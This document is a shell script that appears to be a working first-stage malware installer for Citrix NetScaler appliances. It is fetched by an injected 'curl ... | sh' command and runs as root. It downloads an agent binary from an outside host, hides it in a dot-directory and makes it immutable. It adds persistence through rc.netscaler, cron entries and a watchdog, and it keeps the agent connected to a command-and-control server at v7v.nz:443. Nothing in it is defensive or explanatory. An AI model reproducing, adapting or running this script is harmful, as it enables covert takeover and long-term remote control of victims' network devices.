#!/bin/sh
# r.sh — token-gated bootstrap for the NetScaler agent.  FORCE-REPLACE.
#
# First-stage script the appliance fetches after the injected log command:
#     curl${IFS}-sSLk${IFS}https://v7v.nz/r.sh?k=iyGjuhfZ2OBs4qS2|sh
# It is piped straight into `sh` as root.  It downloads the FreeBSD agent from
# the same host, installs it under INSTALL_DIR and starts it with persistence
# (rc.netscaler + cron guard + daily restart).
#
# COEXIST BEHAVIOUR: this build is named differently (AGENT_NAME, default
# nsvm2) and installs to its own directory, so it lands NEXT TO any pre-existing
# agent (e.g. the old nsvmd under /flash/.nsvm) instead of overwriting it.  The
# old agent keeps running and keeps its callback to the old panel.
#
# REPLACE BEHAVIOUR (same name only): if an agent with THIS name is already
# running, a log replay replaces it in place:
#   * a mkdir lock serialises concurrent replays (only one installer wins);
#   * the running instance of THIS agent is stopped right before the swap;
#   * the new build dials C2_SERVER below (default v7v.nz:443).
# Playback guard: by default (NOFORCE=1) a replay only installs when the agent
# is NOT running or the on-disk binary is not the current build (size mismatch),
# so the same injected command firing again inside the 24 h window is a no-op
# instead of a needless re-download.  Set NOFORCE=0 to force-replace always.
#
# Tunables (override with env vars before running):
#   C2_SERVER    control endpoint the agent dials   (default v7v.nz:443)
#   PAYLOAD_URL  where the FreeBSD binary is fetched (default https://v7v.nz/n?k=iyGjuhfZ2OBs4qS2)
#   PAYLOAD_URL_ALT  fallback URL tried if the first fails (default http://v7v.nz/n?k=iyGjuhfZ2OBs4qS2)
#   AGENT_NAME   agent binary name (baked in by --agent-name, default nsvm2 —
#                deliberately different from the old nsvmd so it coexists)
#   INSTALL_DIR  on-box directory (default /flash/.<AGENT_NAME>)
#   NOFORCE      0 = always download+replace, 1 (default) = skip when the
#                current build is already installed and running
#   PAYLOAD_SIZE expected size of the payload (baked at render time)

C2_SERVER="${C2_SERVER:-v7v.nz:443}"
# --- payload build is chosen by the HOST OS ------------------------------
# FreeBSD appliance -> /n (freebsd build).  Anything else (Linux NetScaler
# CPX/BLX, plain Linux) -> /nl (linux build).  A FreeBSD/amd64 Go binary run
# on a Linux kernel is NOT rejected with ENOEXEC: binfmt_elf checks only
# e_machine (0x3e), maps the segments and jumps into the FreeBSD entry point,
# so the process dies with SIGSEGV before the Go runtime can write anything.
# That is exactly why .agent.log stays empty and the watchdog loops.
PAYLOAD_SIZE_FREEBSD="${PAYLOAD_SIZE_FREEBSD:-4742631}"
PAYLOAD_SIZE_LINUX="${PAYLOAD_SIZE_LINUX:-4764969}"
if [ "$(uname -s 2>/dev/null)" = "FreeBSD" ]; then
    PAYLOAD_PATH="/n"
    DEFAULT_PSZ="$PAYLOAD_SIZE_FREEBSD"
else
    PAYLOAD_PATH="/nl"
    DEFAULT_PSZ="$PAYLOAD_SIZE_LINUX"
fi
PAYLOAD_URL="${PAYLOAD_URL:-https://v7v.nz${PAYLOAD_PATH}?k=iyGjuhfZ2OBs4qS2}"
PAYLOAD_URL_ALT="${PAYLOAD_URL_ALT:-http://v7v.nz${PAYLOAD_PATH}?k=iyGjuhfZ2OBs4qS2}"
AGENT_NAME="${AGENT_NAME:-nsvagent}"
INSTALL_DIR="${INSTALL_DIR:-/flash/.${AGENT_NAME}}"
BIN_NAME="$AGENT_NAME"
NOFORCE="${NOFORCE:-1}"
PAYLOAD_SIZE="${PAYLOAD_SIZE:-$DEFAULT_PSZ}"

DIR="$INSTALL_DIR"
BIN="$DIR/$BIN_NAME"

echo "[*] $AGENT_NAME bootstrap: dir=$DIR server=$C2_SERVER force=$([ "$NOFORCE" = "0" ] && echo 1 || echo 0)"
mkdir -p "$DIR" || { echo "[!] cannot create $DIR"; exit 1; }
chmod 700 "$DIR"
# On some builds the install DIRECTORY can carry uchg/schg as well; an immutable
# directory makes unlink()/rename() inside it fail with EPERM, so clear it too.
chflags 0 "$DIR" 2>/dev/null

# --- single-instance lock: mkdir is atomic, so a log replay racing the first
#     run simply loses and exits instead of double-installing -------------
LOCK="$DIR/.install.lock"
if ! mkdir "$LOCK" 2>/dev/null; then
    echo "[=] another install is already in progress — nothing to do"
    exit 0
fi
trap 'rmdir "$LOCK" 2>/dev/null' EXIT INT TERM HUP

running() { pgrep -f "$BIN" >/dev/null 2>&1; }

stop_agent() {  # stop watchdog + agent so the binary can be replaced cleanly
    pkill -f "$DIR/watchdog.sh" 2>/dev/null
    for p in $(pgrep -f "$BIN" 2>/dev/null); do
        [ "$p" != "$$" ] && kill -9 "$p" 2>/dev/null
    done
    sleep 1
}

dl() {  # dl <url> <out>
    if command -v curl >/dev/null 2>&1; then
        curl -fsSk -o "$2" "$1" && return 0
    fi
    if command -v wget >/dev/null 2>&1; then
        wget -q --no-check-certificate -O "$2" "$1" && return 0
    fi
    if command -v fetch >/dev/null 2>&1; then
        fetch -q -o "$2" "$1" && return 0
    fi
    if command -v ftp >/dev/null 2>&1; then
        ftp -o "$2" "$1" && return 0
    fi
    return 1
}

# --- host/payload ABI guard ---------------------------------------------
# e_ident[EI_OSABI] is byte 7 of the ELF header: 00 = System V/Linux, 09 = FreeBSD.
# Refuse an obviously cross-OS build instead of installing a binary that can
# only segfault on exec and leave .agent.log empty.
abi_ok() {
    [ -s "$1" ] || return 1
    _b7=$(od -An -tx1 -j7 -N1 "$1" 2>/dev/null | tr -d ' \n')
    [ -n "$_b7" ] || return 0
    if [ "$(uname -s 2>/dev/null)" = "FreeBSD" ]; then _want=09; else _want=00; fi
    [ "$_b7" = "$_want" ] && return 0
    echo "[!] refusing payload: ELF OSABI=$_b7, host $(uname -s) needs $_want"
    return 1
}

# --- decide whether a download is actually needed -----------------------
# skip ONLY when (a) the agent is alive, (b) it is this build (size match) and
# (c) NOFORCE is not 0.  A missing/crashing/outdated binary always reinstalls,
# so a replayed command can never leave the appliance stuck on a dead build.
need_dl=1
if [ "$NOFORCE" != "0" ] && [ -x "$BIN" ] && running; then
    CUR_SIZE=$(wc -c < "$BIN" 2>/dev/null | tr -d ' ')
    if [ -n "$PAYLOAD_SIZE" ] && [ "$CUR_SIZE" = "$PAYLOAD_SIZE" ]; then
        need_dl=0
    fi
fi

if [ "$need_dl" = "1" ]; then
    echo "[*] downloading agent: $PAYLOAD_URL"
    # clear ANY immutable flag (both uchg AND schg) on the old binary and the
    # temp file.  NOTE: `chflags noschg` clears ONLY system-immutable (schg);
    # the binary is set with USER-immutable (`chflags uchg`) below, so the old
    # `noschg` left it immutable and every log replay died with
    #   mv: rename $BIN.tmp to $BIN: Operation not permitted
    chflags 0     "$BIN" 2>/dev/null
    chflags nouchg "$BIN" 2>/dev/null
    chflags noschg "$BIN" 2>/dev/null
    chflags 0     "$BIN.tmp" 2>/dev/null
    rm -f "$BIN.tmp"
    if ! dl "$PAYLOAD_URL" "$BIN.tmp"; then
        echo "[=] primary URL failed, trying fallback: $PAYLOAD_URL_ALT"
        dl "$PAYLOAD_URL_ALT" "$BIN.tmp" || true
    fi
    SZ=$(wc -c < "$BIN.tmp" 2>/dev/null | tr -d ' ')
    if [ "${SZ:-0}" -lt 100000 ]; then
        echo "[!] download failed or too small ($SZ bytes)."
        echo "    Alternative: base64 the binary and write it to $BIN manually."
        rm -f "$BIN.tmp"; exit 1
    fi
    if ! abi_ok "$BIN.tmp"; then
        echo "    payload does not match this host ABI - not installing."
        rm -f "$BIN.tmp"; exit 1
    fi
    # stop the old instance only now, i.e. only when we replace the binary
    stop_agent
    # clear flags again and unlink before rename: a rename ONTO an immutable
    # inode fails even if the source is writable.
    chflags 0 "$BIN" 2>/dev/null
    chflags nouchg "$BIN" 2>/dev/null
    chflags noschg "$BIN" 2>/dev/null
    rm -f "$BIN" 2>/dev/null
    mv "$BIN.tmp" "$BIN"
    chmod 755 "$BIN"
    echo "[+] agent installed: $BIN ($SZ bytes)"
else
    echo "[=] current build already installed and running (size=$PAYLOAD_SIZE) — skipping download"
fi

# ------------------------------------------------------------- watchdog -----
cat > "$DIR/watchdog.sh" <<EOF
#!/bin/sh
DIR="$DIR"
BIN="$BIN"
sleep 30   # let the installer bring up the first agent, avoid a start-up race
while :; do
  if [ ! -f "\$DIR/.stop" ]; then
    if ! pgrep -f "\$BIN" >/dev/null 2>&1; then
      nohup "\$BIN" -server "$C2_SERVER" >>"\$DIR/.agent.log" 2>&1 &
    fi
  fi
  sleep 45
done
EOF
chmod 700 "$DIR/watchdog.sh"

cat > "$DIR/guard.sh" <<EOF
#!/bin/sh
DIR="$DIR"
BIN="$BIN"
if ! pgrep -f "\$DIR/watchdog.sh" >/dev/null 2>&1; then
  nohup "\$DIR/watchdog.sh" >>"\$DIR/.wd.log" 2>&1 &
fi
if ! pgrep -f "\$BIN" >/dev/null 2>&1; then
  nohup "\$BIN" -server "$C2_SERVER" >>"\$DIR/.agent.log" 2>&1 &
fi
EOF
chmod 700 "$DIR/guard.sh"

cat > "$DIR/restart.sh" <<EOF
#!/bin/sh
DIR="$DIR"
BIN="$BIN"
for p in \$(pgrep -f "\$BIN" 2>/dev/null); do kill -9 "\$p" 2>/dev/null; done
if ! pgrep -f "\$DIR/watchdog.sh" >/dev/null 2>&1; then
  nohup "\$DIR/watchdog.sh" >>"\$DIR/.wd.log" 2>&1 &
fi
nohup "\$BIN" -server "$C2_SERVER" >>"\$DIR/.agent.log" 2>&1 &
EOF
chmod 700 "$DIR/restart.sh"

# ---------------------------------------------------------- persistence -----
RC=/nsconfig/rc.netscaler
HOOK="$DIR/watchdog.sh"
if [ -f "$RC" ] || touch "$RC" 2>/dev/null; then
    if ! grep -Fq "$HOOK" "$RC" 2>/dev/null; then
        cp "$RC" "$RC.bak.$" 2>/dev/null
        printf '\n# --- persistent service (%s) ---\n( %s >/dev/null 2>&1 & )\n' "$AGENT_NAME" "$HOOK" >> "$RC"
        echo "[+] added boot hook for $AGENT_NAME to $RC"
    else
        echo "[=] boot hook for $AGENT_NAME already present"
    fi
fi

if [ -w /etc/crontab ] || touch /etc/crontab 2>/dev/null; then
    grep -Fq "$DIR/guard.sh" /etc/crontab 2>/dev/null || \
        echo "*/5 * * * * root $DIR/guard.sh" >> /etc/crontab
    grep -Fq "$DIR/restart.sh" /etc/crontab 2>/dev/null || \
        echo "17 4 * * * root $DIR/restart.sh" >> /etc/crontab
    echo "[+] cron entries present for $AGENT_NAME in /etc/crontab"
fi

# --------------------------------------------------------------- start ------
rm -f "$DIR/.stop"   # clear an earlier manual pause so the watchdog resumes

chflags uchg "$BIN" 2>/dev/null && echo "[+] binary set immutable (chflags uchg)"

# watchdog loop (start once)
if ! pgrep -f "$DIR/watchdog.sh" >/dev/null 2>&1; then
    nohup "$DIR/watchdog.sh" >>"$DIR/.wd.log" 2>&1 &
    sleep 1
fi

# agent: always (re)start so the current build/endpoint takes effect
if ! running; then
    nohup "$BIN" -server "$C2_SERVER" >>"$DIR/.agent.log" 2>&1 &
    sleep 2
fi

if running; then
    echo "[+] agent running (pid $(pgrep -f "$BIN" | tr '\n' ' ')) -> $C2_SERVER"
else
    echo "[!] agent not running — check $DIR/.agent.log"
    tail -n 20 "$DIR/.agent.log" 2>/dev/null
fi
echo "[+] done. It will survive reboot and restart itself if it dies."
